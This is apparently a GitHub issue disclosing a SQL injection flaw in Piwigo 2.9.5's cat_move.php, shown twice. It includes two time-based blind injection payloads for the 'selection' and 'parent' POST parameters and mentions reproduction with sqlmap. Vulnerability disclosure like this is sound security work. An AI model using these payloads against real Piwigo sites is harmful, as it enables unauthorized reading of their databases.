SQL Injection vulnerability in cat_move.php in piwigo v2.9.5, via the selection parameter to move_categories.
Hi, I found a sql injection vulnerability in cat_move.php:
The 'move_categories' method is called when moving the album in '/admin.php?page=cat_move', but the method does not validate and filter the 'selection' and 'parent' parameters, thus causing the vulnerability.

**replace  any of the following parameter  in POST requests to reappear the vulnerability：**
 ```selection%5B%5D=1)` and if(ascii(substr(database(),1,1))>300,1,sleep(5));%23```
 or  
```parent=1 and if(ascii(substr(database(),1,1))>300,1,sleep(5));%23```

I use 'sqlmap' to reappear the vulnerability:
![4](https://user-images.githubusercontent.com/34082644/57218384-c143eb00-7027-11e9-8f33-882af04aff4b.png)
![6](https://user-images.githubusercontent.com/34082644/57218549-2566af00-7028-11e9-81b8-df5313785c02.png)



SQL injection in cat_move.php
This is a GitHub Issue
repo:Piwigo
owner:Piwigo
Title : SQL injection in cat_move.php
Issue date:

--- start body ---
Hi, I found a sql injection vulnerability in cat_move.php:
The 'move_categories' method is called when moving the album in '/admin.php?page=cat_move', but the method does not validate and filter the 'selection' and 'parent' parameters, thus causing the vulnerability.

**replace  any of the following parameter  in POST requests to reappear the vulnerability：**
 ```selection%5B%5D=1)` and if(ascii(substr(database(),1,1))>300,1,sleep(5));%23```
 or  
```parent=1 and if(ascii(substr(database(),1,1))>300,1,sleep(5));%23```

I use 'sqlmap' to reappear the vulnerability:
![4](https://user-images.githubusercontent.com/34082644/57218384-c143eb00-7027-11e9-8f33-882af04aff4b.png)
![6](https://user-images.githubusercontent.com/34082644/57218549-2566af00-7028-11e9-81b8-df5313785c02.png)



--- end body ---
